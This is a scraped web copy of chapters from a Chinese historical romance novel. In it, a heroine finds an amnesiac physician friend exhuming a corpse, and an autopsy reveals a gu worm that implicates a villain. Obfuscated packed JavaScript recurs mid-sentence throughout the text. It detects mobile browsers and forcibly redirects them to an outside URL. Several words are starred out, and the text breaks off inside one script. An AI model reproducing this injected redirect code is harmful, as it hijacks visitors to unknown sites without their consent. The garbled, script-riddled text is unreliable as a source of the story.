“阿铮,莫要冲动。” 林铮压低声音,“万一……” 蒋南笙知道他担心的是什么,默了默,道:“他若当真想杀我,就不会是一个人了。” 蒋南笙的确从他的身上感到一丝敌意,但那敌意却没有上升到要害她性命的程度。 而且,眼前之人功夫了得,林铮不一定是他的对手,蒋南笙不希望林铮受伤。 如果可以和平地解决问题,她不想以命相搏。 蒋南笙正斟酌着该如何开口,林铮忽而警觉,朝某个方向看去,大喝一声,“谁!” 那处枝丫传来一阵轻微的颤动,显然是有人藏身在那里,林铮眼中杀意毕现,抡起那被劈断的铲子,朝那个方向狠狠掷了出去。 对方没料到他一言不合就动手,半分都不迟疑,下手更是半点不留情。 暗卫被他击中,狼狈地从树上掉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403360|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来。 林铮拔剑,直朝命门而去。 这一次他没能得手,隐匿在暗处的暗卫立马现身,将他的杀招打了回去,对其展开**之态。 林铮没想到,对方竟有这么多人,脸色顿时变得十分难看。 他冷冷地扫向孙牧之,“是你带来的人?你果然早就包藏祸心!” 孙牧之并不解释,他看着这些人,也同样面露警惕。 林铮骨子里便流着弑杀好斗的血,他一旦认定对方是威胁自身的敌人,就会毫不犹豫地出手,干脆利落,绝不留情。 下一瞬,他便发起了攻势。 他的打法没有太多章法,但却很凌厉,狠辣,似一匹孤狼。 众暗卫都暗暗心惊,这是不要命的打法。 他们顾忌蒋南笙,有些投鼠忌器,一时竟被对方逼得连连**。 孙牧之的目光则依旧落在蒋南笙的身上,他在思考,自己这个时候如果出手,把蒋南笙劫走,结果会如何? 但很快他就打消了这个念头,眼前这人浑似一条疯狗,自己真这么做了,他的枪头就会对准自己。 更何况,蒋南笙只怕也不希望自己救她,他这么做,实属自作多情。 眼下,他只想弄清楚,他们为何大半夜地跑来挖别人的墓。 以及,这群突然冒出来的暗卫,究竟是谁的人? 正这般想,就听得一道娇声呵斥。 “住手!” 孙牧之听到这声音,微微一愣。 一回头,就看到了一个令他意外的人。 陆知苒快步而来,神色匆匆,目光一直锁定在蒋南笙的身上。 只一眼,陆知苒就确定了,她就是蒋南笙! 方才,暗卫们藏身于暗处,有人瞧见了蒋南笙的容貌,当即认出了对方,第一时间去向萧晏辞回禀。 他行动不便,陆知苒便急忙赶来了。 男装的蒋南笙一派斯文儒雅,换上了女装,她就是个气质清丽的小家碧玉,此时她面带惊慌,俨然像是一只受惊的小白兔。 她还好好地活着,真是太好了! 宝珠若是知晓,定会十分高兴。 第280章 想不起来了 暗卫听了陆知苒的话,立马收手,只是依旧持剑而立,林铮眼中的杀意未退,满脸警惕之色。 陆知苒看着蒋南笙,脸上露出真心实意的笑,“南笙,好久不见,没想到会在这里遇到你。” 蒋南笙看向陆知苒,原本惶恐的面容上添了几分茫然与疑惑。 她认真地看了陆知苒好一会儿,迟疑着道:“我们,以前认识吗?” 陆知苒彻底愣住了。 这个时候她才注意到蒋南笙神态间的异常。 她本是从容不迫的性子,便是换上了女装,性情亦不会发生大的变化。 然而此时的她,眼神变了,与以往截然不同。 尤其是她看自己的眼神,那里面的疑惑是真真切切的。 她不认识自己了。 陆知苒心中很快生出了一个猜测。 “你,你不记得我了?” 孙牧之开口,印证了自己的猜测。 “她脑袋受到撞击,失忆了。” 陆知苒这时候才注意到孙牧之,她根本来不及去想他怎么也在,满脑子都是蒋南笙失忆之事。 难怪,她受伤之后就一直杳无音信。 她忘记了前尘往事,自然不会主动现身。 往好的方面想,她只是失忆,身上没有受到其他损伤,这已是再好不过的结果了。 只是,这段时间里,她都经历了些什么?可有被人善待? 她身旁那男人是谁? 陆知苒看着对方,对方也盯着她,眼神中带着深深的戒备与警惕。 陆知苒轻声开口,“你或许不记得我了,那你还记得宝珠吗?” 听到这个名字,蒋南笙怔了一下。 脑中有什么记忆飞快闪过,她没能捕捉到,但一想到这人,她的心口都是暖暖的,胀胀的。 这个人,对她而言,定然十分重要。 见她不说话,陆知苒继续道:“那你还记得阿辞吗?” 她没有说瑾王,换成了他们之间的称呼。 蒋南笙的心头再次出现了触动。 她轻轻点了点头,又摇了摇头。 “我觉得我应该认识他们,但我想不起来了。” 陆知苒听了这话,心头一喜。 她循循善诱,“那你要同我一起去见见他吗?阿辞就在那边的屋子里。” 她满脸真诚,尽量让自己看上去充满了善意。 孙牧之听到这话,不禁心头大松了口气。 瑾王没有出事。 先前城中传出的消息,果然有假。 原本他还担心萧宝珠得知此事后会伤心难过,而今终于放心了。 对于陆知苒的提议,林铮立马竖起了浑身的刺。 “不可,小心有诈!” 就算真的要相认,大可让那人自己来,又何必让他们前去?只怕这是个瓮中捉鳖的计谋。 蒋南笙也没打算去,她现在不想认人,她只想赶紧挖坟,把正事办了。 她没有答应,还反过来提了要求,“我们以前应当是朋友吧?既然如此,你能否让他们都离开?” 陆知苒立马示意暗卫们退下,他们半个字都没有多说,飞快闪身离开。 但孙牧之没动。 蒋南笙看着他。 陆知苒只得道:“他并非我的手下,不过他亦是自己人,你不必担心。” 林铮:“我们是希望你们所有人都离开。” 蒋南笙没说话,显然默认了对方的话。 孙牧之嗤笑,“我们都离开了,你们好继续挖坟?” 被戳中心思的蒋南笙:…… 陆知苒:? 挖坟? 这时候,陆知苒才注意到他们所在的地方,的确有一座新坟,而且已经被挖了一半了。 陆知苒沉默了一瞬。 但她好歹对蒋南笙有几分了解,自然知道她的为人秉性。 她就算失忆了,也断然做不出无缘无故挖人坟墓的阴损事,她会这么做,也必然是有原因的。 她问,“能告诉我,你们为什么要挖这座坟吗?” 蒋南笙语气迟疑,“说了你们也未必会信。” “只要你说,我就相信。” 陆知苒的语气笃定,眼神更是满含信任,蒋南笙不禁微微一愣。 “为何?” 陆知苒面带柔和的笑,“因为你以往便是个行事极有分寸之人,你只是失忆,但刻在骨子里的行事准则定不会改变。你会这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403361|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做,必然有你非如此不可的理由。” 蒋南笙听了这话,心头不禁升起触动。 林铮也看着陆知苒,心中原本的敌意稍稍减轻几分。 蒋南笙一番斟酌,还是开了口。 “我怀疑他的死因有蹊跷,我想验一验他的尸体。” 陆知苒神色微沉,“你为何会生出如此怀疑?” “前几日,城中百姓突然有人中邪,此人便是中邪的人之一。百姓们都说是蒋老太医的方子有问题,但我尝过那汤药,能推断出方子的配比,方子绝对没有问题。大多数百姓都已经趋近痊愈,这些人的发病很蹊跷。” 提到医术之事,蒋南笙褪去了方才那股懵懂与惶恐,整个人的眼神都变得清明了。 陆知苒还不知此事。 他们刚从断云山脱险,刚刚喘了口气,根本没来得及打探城中的情况。 本以为有了赤影藤,城中的疫病问题就能顺利解决,但没想到,此事竟然又起了波澜。 陆知苒详细探问了此间细节,听罢事情的来龙去脉,她的眼睛不禁微微眯了眯。 这整件事下来,蒋家成了众矢之的,连带着太医院的众太医在百姓面前也失去了信誉。 而赵书宁,站在蒋家的肩头上,轻轻松松地摘了他们的成果,成了此次最大的获益者。 她的运气未免太好了。 可是,这一切当真只是运气好吗? 陆知苒不信。 孙牧之不通医理,但他也本能地觉得此事似有蹊跷,他将军中士兵中邪之事道来。 “大多数中邪的人都命丧羌笛人之手,只有二十多人回来了。” 原本孙牧之只当这是一场意外,而今看来,这分明是人为。 若那些人身上本身就有蹊跷,幕后之人自然不会留他们性命。 有什么比借刀**更好的法子? 陆知苒却注意到了另外一件事。 “你是说,戈参将和他的护卫都下落不明,没有回城?” 孙牧之点头。 陆知苒急道:“那寒衣呢?叶寒衣,你见过的。” 这下轮到孙牧之惊讶了,“叶小姐也来了西平?她亦未在回城之列。” 第281章 剖尸 这个消息,让陆知苒的心狠狠一沉。 他们是为了吸引火力才身陷险境,若出了事,她和萧晏辞都难辞其咎。 当务之急,得立马派人前去打探消息。 活要见人,死……不能死! 她立马示意暗卫前去告知萧晏辞,交由他安排。 孙牧之看出她的担忧,难得主动开口宽慰。 “戈参将武艺超群,叶小姐亦精通武艺,定然不会有事。” 陆知苒点头,但愿如此。 她很快把话头拉了回来,“你挖坟就是为了查清此事?” 蒋南笙点头,“听说有人中邪,我就第一时间赶去,想要给他们诊脉,但他们却被士兵们集中控制了起来,我没有机会。我远远看着他们的状态,觉得很可疑,我实在太想弄清楚事情真相,不得已才出此下策。” 她也知道挖人坟墓不妥,但最终还是决定冒险一回。 若她判断错了,她回头定会给这人备上丰厚的供品以作赔礼。 但没想到,他们的坟挖到一半,就生出了这么多的波澜,还接连遇到了自己的故人。 陆知苒当机立断,“挖,此事不仅你觉得蹊跷,我也觉得十分可疑。那赵书宁是我的老熟人,她最善用那些阴损手段,我倒是要看看,这次之事,究竟有没有她的手笔。” 原本隐匿了身形的暗卫纷纷现身,开始帮着挖坟。 大家也着实没想到,自己有一日竟然会干起这般差事。 那小小的土坟很快被挖开,死者刚刚下葬,身上并无异味,但到底是**,陆知苒避开了视线。 蒋南笙却全无半分异色,她周身的气场在这一瞬完全变了,目光沉静,神情专注。 此时的她,已然将周遭的一切尽数屏蔽。 林铮立在她身侧,随时都是护卫的姿态。 蒋南笙检查了死者的面容,眼球,又细看了他的手指,然后解开了对方的衣服,检查胸膛和腹部。 死者是男性,但在医者的眼里,没有男女之分,只有**与活人的区别。 死者身上的尸斑已然很明显,她的手在其腹部上轻轻按压,没想到,那块肌肉竟很快回弹了起来。 他已然**许久,皮肤不可能还有这样的回弹性,这很蹊跷。 蒋南笙又连续按压了几次,都是如此。 她将手覆在其上,凝神静听。 半晌,她将手收了回来,语不惊人死不休,“我要剖尸。” 众人都被这话震住了,孙牧之的表情也有瞬间的凝滞。 他有些一言难尽地看着蒋南笙。 这人,真的是女子吗?她如何能做到面对一具尸体面不改色,甚至说得出剖尸这样的话? 但如果,她是蒋南笙,似乎一切就说得过去了。 她以男子的身份生活了十几年,而且,她还是医者,自己的确不该以寻常女子的眼光看待她。 陆知苒短暂愣怔之后,立马让人准备更多的火把,以及剖尸所需要的工具。 还是那句话,她既然会那么做,那就必然有这么做的理由,自己只需配合,无需多说。 蒋南笙不知道自己以前有没有干过这样的事,此时的她,异常镇定,没有半点害怕。 反而还有点迫不及待。 她真的很想知道,这具尸体背后,究竟隐藏着怎样的秘密。 很快,东西准备齐全,蒋南笙虔诚地对尸体行了一礼,道了得罪,这才动手。 陆知苒一直背对着他们,但不知是不是周遭太静谧了,她觉得自己听到了刀子割开皮肉的声音,鼻尖也很快嗅到了一股异味。 那味道是血腥味,却又比血腥味刺鼻,十分令人作呕。 便是孙牧之见了那番开膛破肚的情形,也不禁蹙了蹙眉。 而蒋南笙却是面不改色,面对那番异味,甚至连眉头都没有蹙一下。 孙牧之见此,心中对她生出了几分敬意。 蒋家的小神医,并非浪得虚名。 她身上所有的,不仅仅是与身俱来的天赋,还有发自肺腑的热爱与执着,和不知比旁人努力多少倍的刻苦钻研。 林铮目光静静地看着蒋南笙。 她手上做的,分明是血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411213|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腥又脏污的事,但在林铮眼里,她整个人都似在放光。 眼前之人,只是一个寻常百姓,在那些贵人的眼里,他**便**,谁会在乎? 但她在乎。 为了找出他身死的真相,她不怕脏,不怕臭,世间能有多少医者,能如她这般? 林铮是泥地里的尘埃,被人糟践着长大,原本他们二人之间不可能有交集,是她,在自己只剩最后一口气的时候,将他从鬼门关拉了回来。 从那时起,林铮的心中,便有了一束光,那束光的源头,便是蒋南笙。 正出神间,蒋南笙发出了一声惊喜的声音。 “找到了!” 林铮回神,立马看向她的手。 陆知苒也下意识回头,瞬间被那血肉模糊的画面冲击得胃里翻涌,而蒋南笙满手鲜血,手中捧着一条蠕动的黑色小虫。 暗卫中有人惊呼,“是蛊虫!” 那暗卫是滇南人,滇南有养蛊的大巫,只是近些年被朝廷明令禁止,但依旧有大巫会偷偷饲养。 他曾亲眼见过,那蛊虫便与这虫子一般无二。 众人听到蛊虫二字,俱是变了脸色。 陆知苒更是脸色几番变化,难看至极。 赵书宁竟然用蛊术! 她究竟从何学来? 这等阴损的法子,她怎么敢用? “拿个容器来。” 有暗卫掏出透明的小瓷瓶,扔了过去,林铮接住,蒋南笙便将那小虫子放进了瓷瓶里。 蒋南笙将死者的尸体整理缝合好,众人重新将他下葬,坟墓也恢复了原样。 做完这一切,蒋南笙才开了口。 “原本我还有些不确定,现在倒是能确定了,这的确是蛊虫。他们所谓中邪的症状,盖因中了蛊虫而起。” 蒋南笙不记得自己过往结交的人与事,但对于自己看过的医书札记,却是记得一清二楚。 她为此感到无比庆幸,至少,她没有变成真正的废人,这是老天爷对她的开恩。 当初,她看到这些中邪之人的症状,第一反应便想到了蛊术。 第282章 好无耻的手段 方才,她按压死者的腹部,那番反应更让她加深了这一猜测, 之所以要剖尸,是因为方才她按压之时,感受到了手底下传来的那股微微的跳动感。 一个**,肚子怎会动?他的肚子里似有活物。 剖开一看,果然如此。 她找到了这条蛊虫。 她盯着瓷瓶中的黑虫子,它细小如砂,安静时似黑曜石碎屑,蒋南笙轻轻敲击瓷瓶碎片,它便露出了锯齿般的口器。 她咬破了手指,瞬间鲜血喷涌而出。 林铮神色一紧,急忙握住她的手,蒋南笙朝他摇了摇头,“无事,我只是要做个实验。” 他不容置疑地将她的伤处包裹,转而咬破了自己的手。 “我来。” 他皮糙肉厚,便是放些血,也算不得什么。 他用力挤了挤手指,将鲜血滴入了瓷瓶中。 那黑虫子嗅到了血的味道,立马吸食,很快,那小小的身子膨胀了数倍,肚皮撑大,那上面鳞形的纹路也清晰地展现出来。 蒋南笙眸色微深。 又看向方才认出这蛊虫的暗卫,“你可认得这是什么蛊?” 那暗卫盯着看了半晌,不确定地道:“从中蛊者的症状来看,应是疯人砂,又名六亲煞,中蛊者受了特定刺激,会有发疯癫狂之症,连自己的亲人都不认识。” 蒋南笙轻吐出一口气,点了点头。 “你的判断,与我不谋而合。我曾有幸亲眼见到过此蛊,其腹部有鳞形纹路,可侵人心智,中蛊者,初期眼底出现蛛网状血丝,发作期,会出现暴力倾向,且八成人会出现工具使用能力提升,和痛觉丧失、记忆碎片化的症状。这些症状,全都能对得上。” 陆知苒生出疑惑,“此蛊如何培育?那下蛊人如何能有这么多蛊虫可用?” 赵书宁莫非手眼通天,能凭空变出蛊虫来。 蒋南笙摇头,她对此也并不了解。 那暗卫再次开了口,“此蛊的繁衍力很强,母蛊一次产卵便可达成千上百,虫卵入了腹,吸食了人的精血,就能迅速成活。此蛊算是低端的入门蛊,在我们那边比较常见。” 这话让不少人鸡皮疙瘩都冒了起来。 如此阴邪之物,在滇南竟然可称常见,以后他们怕是再不敢踏足滇南之地了。 陆知苒若有所思,赵书宁明知下蛊乃饮鸩止渴,却还是这么做了,为什么? 她素来聪明,不会做自砸招牌的蠢事。 除非,这么做可以让她获得最大利益。 “你方才说,中了此蛊,能让人武力暴涨?” 蒋南笙点头,“没错,但这都是暂时的。蛊乃是至阴的害人之物,不论是武力暴增,还是痛感消失,都只是蛊毒入体的一种表现,到最后,中蛊者都难逃一死,只是时间早晚的问题。方才那死者上了年纪,且身形瘦弱,他扛不住蛊毒的侵蚀与反噬,很快暴毙了。” 孙牧之眼底一片森冷,他想到了那些突然中邪,又惨死在羌笛人手下的士兵,已然明白了其中关窍。 陆知苒也一下想明白了。 原来,赵书宁前头的功劳是这么来的。 靠着蛊虫,让士兵武力暴增,成为抵御羌笛的利器。 他们击退了羌笛,自己也死在了战场上。 他们付出了生命的代价,成就了身后名,赵书宁则是踩着他们的尸身,摘取了功劳。 但实际上疫病并没有解决,大多数百姓依旧饱受疫病之苦。 直到蒋家来人,蒋老太医拟了方子,萧晏辞带兵去采回了赤影藤。 百姓们服了药,慢慢好转了,赵书宁又在背后捣鬼,将自己的恶行扣在了蒋家人的头上,治疫的功劳则尽数落于她的身上。 当真好无耻的手段。 陆知苒的拳头紧握,气得面容都扭曲了。 果然,没有道德和廉耻的人,可以做出一切没有下限之事。 陆知苒看向孙牧之,“除了这段时日突然出现的中邪之事,此前你可有发现城中百姓有何异状?” 孙牧之摇头,“我一直在军中,不曾留意百姓们的动向。” 蒋南笙接话,“我留意过,此前百姓们从未出现过中蛊的表现, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411214|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到近几日才突然出现,且人数也不多,只是此事发酵很快,声势浩大,这才造成了惶恐。” 陆知苒闻言,倒是松了口气。 看来自己所料不错,赵书宁只在士兵身上下了蛊,没有在普通老百姓身上下手。 士兵要上阵杀敌,给他们下蛊,是如虎添翼,而且也有现成的法子**灭口。 但若给普通百姓也下这种蛊,就只会造成恐慌,她兜不住底。 大多数百姓没有受到她的**,这是唯一值得庆幸之事。 但想到蒋家人被赵书宁摘取了功劳,还反手扣了一口黑锅,陆知苒便觉心中憋屈。 蒋南笙看着陆知苒义愤填膺的模样,开口寻问,“你可是知道此事是何人所为?” “谁是最大的获益者,自然就是谁做的。” “是那位赵医女?” 她已经不记得赵书宁了,但此人乃是城中的风云人物,蒋南笙自然知晓。 “没错!” 陆知苒将自己的推断尽数道来,蒋南笙听到蒋家和蒋老太医,心口再次涌起一阵异样的触动。 她能感受到,这是与她羁绊甚深之人。 “我与蒋家,是什么关系?” 方才,他们说自己叫蒋南笙。 她也姓蒋。 陆知苒给出了答案,“你是蒋家人,蒋老太医,是你的祖父。” 其他的,她没有解释更多。 蒋南笙捂着心口,那里泛起了微微一股酸涩。 “我听说,蒋家是罪臣,他们犯了什么罪?” 陆知苒微微顿了顿,言简意赅地将事情原委道来。 “蒋老太医为了后辈的未来,拼尽全力才争取到了此次戴罪立功的机会,而今,全部功劳功亏一篑,若是任由此事发展,蒋家再无翻身的可能。” 许是身体的本能作祟,她心口涌起了一股汹涌的愤怒。 便是不为了蒋家,赵书宁的此番行径,也令人发指。 她偷偷摸摸地来挖坟,剖尸,为的不就是查清真相,还死者一个公道? 她语气斩钉截铁,“我定要揭穿此事。” 第283章 痛恨羌笛的一切 陆知苒开口阻拦,“此事不能急,还需从长计议。那赵书宁甚是狡诈,我们若是没有确切的证据,她定不会承认。” 胸腔中的愤怒被缓缓压下,蒋南笙恢复了冷静。 “需要我做什么?” “眼下我也还没有好的计策,但你精通医术,要对付赵书宁,定然有需要用到你的地方。” 蒋南笙点了点头。 谈完了这件事,陆知苒重新把话头拉了回来。 “你要去见见故人吗?他受了伤,不便行动。” 蒋南笙面露困惑,“他是我的什么人?” “你们是挚友,你失踪之后,他很着急,此次前来西平,有一半原因便是为了寻你。” 蒋南笙心中生出一丝淡淡的感动。 “好。” 她并不打算与过去割裂,只是先前一直有人欲要她性命,她每每回忆过往也头痛欲裂,便暂时不去多想。 而今,她的故人来了,她身体和心里都没有抗拒,那便见见吧。 或许,她的记忆能被唤醒。 萧晏辞在屋中等了许久,却迟迟不见陆知苒回来,心中不禁焦急。 若非有暗卫前来回禀情况,萧晏辞都恨不得自己亲自爬起来前去查看了。 又等了快一个时辰,一行人总算回来了,萧晏辞赶忙缩回了伸长的脑袋,端正了神色。 见到一身女装的蒋南笙,他脸上端正的神色破了功。 他跟蒋南笙自幼一起长大,也早就知道她乃女儿身,但却极少见她穿女装,一时当真十分不习惯。 他下意识看向陆知苒,她方才见到蒋南笙的女子装扮,是什么反应?是不是很惊讶? 但她的脸色平淡,萧晏辞看不出什么来。 兴许,她已然从震惊中缓过来了。 “南笙,你还是穿男装更顺眼些。” 他张口便是熟稔的语气,蒋南笙见了他,心中也本能地升起亲近与熟悉。 “你是阿辞?” 萧晏辞眸底闪过惊喜,“你想起来了?” 蒋南笙摇头,“没有,这位姑娘说你名唤阿辞,是我以前的旧友。” 惊喜褪去,转而笼上失落。 原来如此。 萧晏辞问起了她受伤的情形,蒋南笙摇头,“我不记得了,我醒来的时候,身边就只有阿铮,是他救了我。那段时间一直有人追杀我,也是阿铮护着我。” 萧晏辞这才把目光落在林铮的身上,眼中带上了探究与打量。 他看出了蒋南笙与他的亲昵关系,这让他的神经突突直跳。 他们二人,发展到了什么地步? 南笙是否被骗了? 自己现在砍了这人,是否还来得及? 林铮也在看他。 方才他就认出来了,眼前之人是瑾王。 先前他去灾民营,自己曾见过。 阿蘅与瑾王竟是那么好的朋友,他们,真的只是朋友吗? 林铮心底闪过一抹微不可查的黯然,但所有的情绪,都很快被冷酷的外表遮掩,不露半分。 “你是羌笛人?” 林铮的面皮微微抖动,本能地露出戾气。 但此人不仅是瑾王,更是阿蘅的朋友,他压下了自己周身的敌意。 “我母亲是大齐人,被羌笛贼子掳走,生下了我。我痛恨羌笛的一切。” 他不想被误会,因为他不想被剥夺留在阿蘅身边的资格。 萧晏辞盯着他,目光审视。 他转而又看向蒋南笙,“南笙,你们现在,是什么关系?” 蒋南笙听出了他话里的担忧,“先前有人追杀我,为了掩人耳目,我们便扮作夫妻。阿铮一直恪守本分,不曾逾越。” 但他们二人毕竟以夫妻的名义生活了好几个月,举止行动之间,不可避免地带上了与旁人不同的亲近,他们自己没有察觉,落在旁人眼里,却十分明显。 萧晏辞松了口气。 他不会干涉蒋南笙的个人选择,但他希望她的选择是在自己清醒的前提下,而不是在记忆一片空白的时候。 萧晏辞看向林铮,“多谢你救了南笙,你想要什么补偿,本王都可以答应。” 他这话俨然有种替蒋南笙做主的意思。 林铮的语气冷冰冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415214|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,“我救她是心甘情愿,并非图谋回报,多谢王爷美意。” 蒋南笙也道:“这是我们之间的事,也不劳你操心。” 语气间,俨然有种维护林铮的意味。 萧晏辞这话本就带着试探之意,见二人这番态度,遂不再多说,不然反倒显得他多管闲事。 言归正传,他们说起了方才的发现。 听罢,萧晏辞的脸上顿时笼上一层寒霜。 “赵书宁可真是好大的胆子!” 陆知苒:“我不会让她得逞的,这一次,新仇旧恨,我都要与她一起算。” 她给太仓商行泼脏水,这笔账,自己还没算。 她自以为自己算无遗策,能把所有人**于股掌之间,但殊不知,若要人不知,除非己莫为,但凡做过的事,总会留下痕迹,她逃不掉。 萧晏辞又听说,城中都在传自己的死讯,楚翊安亲眼看到他坠崖身亡。 他听得冷笑连连,“他亲眼所见?只怕那是他亲手射出的冷箭吧,只可惜,本王命硬,不能如他们所愿了。” 幸而他们使了这金蝉脱壳的计谋,也混淆了那些人的视线。 原本他就没打算那么快现身,现在就更要藏在暗处了。 对方以为自己**,难免得意忘形,露出破绽来。 萧晏辞让孙牧之多久留意军中的动向,当他的耳目,孙牧之郑重应下。 蒋南笙提出了自己的要求,“我想给那些或者的士兵诊一诊脉,若是不行,把他们的尸身给我送来也行。” “我尽量安排。” 孙牧之想起什么,又道:“蒋老太医被百姓冲撞,受了伤,一病不起,情况似是有些严重。” 蒋南笙听了这话,心头顿时揪紧。 这是身体本能的反应。 她丧失了记忆,但身体的本能却还在。 那是她的祖父,是手把手教导她医术的人,她断然没有放任不管的道理。 就算不是她的祖父,只是一个最普通的病患,她身为医者,也不能袖手旁观。 蒋南笙几乎立马起身,“我想去看看。” 第284章 清理伤口 “你要公开身份吗?” 蒋南笙尚未开口,林铮就断然道:“不可。” 暗处说不定还藏着要刺杀她的人,她此时公开,根本不明智。 蒋南笙也道:“此时并非公开的好时候。” 孙牧之:“蒋老太医身份不一般,来历不明的人,没有资格为他诊脉,你要替他看诊,还得另做安排,我的手伸不进去。” 萧晏辞沉吟,“交由本王。” 他人虽然不能现身,但不意味着他无人可用,要把蒋南笙送去见蒋老太医,他能办到,只是需要花费些心力。 更何况,要对付赵书宁,他们也的确需要一个能公开与之打擂台之人。 赵书宁以女神医自居,蒋南笙同样也可以。 到时候,便且看她们究竟谁更胜一筹了。 商议结束,天色已然慢慢露出了鱼肚白,孙牧之不宜久留,率先告辞。 陆知苒想到什么,从怀中取出一封书信交给他。 “对了,这是宝珠让我转交给你的。” 孙牧之闻言,面上闪过一抹惊喜,十分郑重地收了起来。 萧晏辞眉峰微动。 宝珠都没给自己带只言片语,竟给孙牧之单独写信?那小子就算救了她两次,也是外男。 孙牧之顶着萧晏辞灼灼的目光,离开了那破屋。 直到周遭无人,孙牧之这才小心翼翼地拿出那封信,拆开,认真读了起来。 看罢,他又小心收好,唇角不自觉翘起,整个人的心情都十分愉悦。 方才他便已经得知了蒋南笙的**。 原来,京中那令无数大家闺秀心生爱慕的天才神医,竟是个女子。 她女扮男装,骗了所有的人。 而萧宝珠信上的话让孙牧之猜到,她早就知道了此事。 她与蒋南笙关系亲密,并非是世人所以为的男女之情,而是姐妹情谊。 便是瑾王也早就知晓此事。 萧宝珠还在信上提及了母亲,她去探望过母亲一回。 母亲搬离了孙家之后,过得很不错,整个人都年轻了不少。 他最在意的两个人,一切都好,他便再无可担心的了。 孙牧之走后,蒋南笙与林铮也欲离开。 萧晏辞欲言又止,陆知苒看出他的心思,主动开口,“南笙,你们现住在何处?是否安全?若你不嫌弃,可以与我们一道暂居此处,我们人多,若当真遇到危险,也能更好应对。再则,殿下安排之事若是有了后续,也方便与你们联系。” 林铮抬眸看了她一眼,他们这是觉得他与蒋南笙孤男寡女,再住在一处不妥。 这个担忧,的确合情合理,是在为蒋南笙的名声考虑。 他主动道:“阿蘅,此提议的确在理,不若我们便暂居于此。” 瑾王愿意为了百姓的安危,率兵前往断云山采药,可见他的人品可靠。 方才他冷眼旁观,他们的确是友非敌。 除非对方故意在自己面前演戏。 但完全没必要,对方人那么多,若真的想做什么,根本不需要采用那么迂回的手段。 暂且相信他们。 蒋南笙也点了头。 她并不挑拣此处条件,便是他们原本住的地方,条件也并没有好多少。 见他们答应,陆知苒立马吩咐人去收拾房间。 他们人多,此处房屋又被烧毁了不少,最后蒋南笙便只能和陆知苒、霜华住一处。 蒋南笙适应环境的能力很强,即便躺在破草席上,她也并不抱怨。 反倒是陆知苒睡得很不习惯。 蒋南笙主动开口,向陆知苒询问了自己过往之事。 她若是要去给祖父治病,与那赵书宁对阵,就需要知己知彼。 陆知苒把自己知道的细细道来。 听罢,蒋南笙自己都惊呆了。 她没想到,自己竟然是这么有故事性的人。 自己以前竟一直假扮男子,难怪那些追杀自己的人没能识破她,因为她换成了女子的装扮,又将面容乔装了一番,对方自然不会怀疑。 蒋南笙疑惑,“你是如何知晓我的女儿身的?” 陆知苒半真半假地道:“我说我是做梦梦到的,你信吗?” 蒋南笙看着她的神色,竟是点了点头。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 